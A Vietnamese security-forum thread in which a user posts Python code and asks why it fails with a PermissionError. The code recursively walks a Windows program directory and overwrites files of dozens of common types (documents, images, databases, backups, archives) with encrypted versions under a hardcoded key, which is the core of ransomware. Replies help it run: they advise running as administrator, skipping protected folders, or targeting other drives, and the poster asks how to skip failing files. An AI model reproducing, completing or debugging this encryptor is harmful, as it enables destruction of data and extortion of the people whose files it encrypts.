Lỗi python 3.8: PermissionError: [Errno 13] Permission denied

05/10/2020
0
5 bài viết
Lỗi python 3.8: PermissionError: [Errno 13] Permission denied
-Ai sửa giúp em lỗi này với: PermissionError: [Errno 13] Permission denied: 'C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg'
-CODE:
import os, sys, cryptography, cffi
from cryptography.fernet import Fernet
a = b'KOdDY8NKu87Yrht02BHN2yVT49pzecc0WdJEjjfUtSc='
key = Fernet(a)
center_path = "C:\Program Files (x86)"
f_ext = [".txt", ".doc", ".html", ".jpg", ".png", ".mp3", ".mp4", ".jar", ".java", ".xlsx", ".xls", ".docx", ".ppt", ".pptx", ".cvs", ".pdf", ".jpeg", ".vbs", ".asp", ".avi", ".vb", ".cpp", ".cs", ".css", ".ps1", ".bat", ".rb", ".js", ".php", ".svg", ".jsp", ".c", ".sh", ".wav", ".suo", ".sln", ".sql", ".sqlitedb", ".sqlite3", ".zip", ".rar", ".7z", ".aes", ".tar", ".bak", ".tar", ".tgz", ".gz", ".xlsm", ".xlsb", ".xlw", ".iso", ".backup", ".gif", ".key"]
for root, dirs, files in os.walk(center_path, topdown=True):
for file in files:
for e in f_ext:
if file.endswith(e):
tag = os.path.join(root, file)
with open(tag, "rb") as qwe:
data = qwe.read()
print("[*] Encrypting", tag)
en = key.encrypt(data)
with open(tag, "wb") as asd:
asd.write(en)
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bạn chạy với quyền admin xem.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Comment
Admin cũng không được phân quyền trong thư mục Stationery đâu. Nên bạn thêm 1 đoạn check tên thư mục (nếu trùng thì bỏ qua), hoặc quyền của thư mục (nếu không có quyền thì bỏ qua)
 
Comment
Center_path trỏ lại về thư mục data khác như ổ D or E rùi bỏ mấy file có định dạng mà biến f_ext khai báo rùi chạy thử. Bạn trỏ hết vào ổ c có nhiều chương trình của hệ thống thì chạy báo lỗi là bình thường.
 
Chỉnh sửa lần cuối:
Comment
Admin cũng không được phân quyền trong thư mục Stationery đâu. Nên bạn thêm 1 đoạn check tên thư mục (nếu trùng thì bỏ qua), hoặc quyền của thư mục (nếu không có quyền thì bỏ qua)
bạn chỉ mình cách bỏ qua file lỗi và làm cho chương trình tiếp tục chạy đc ko ạ ^_^
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Bên trên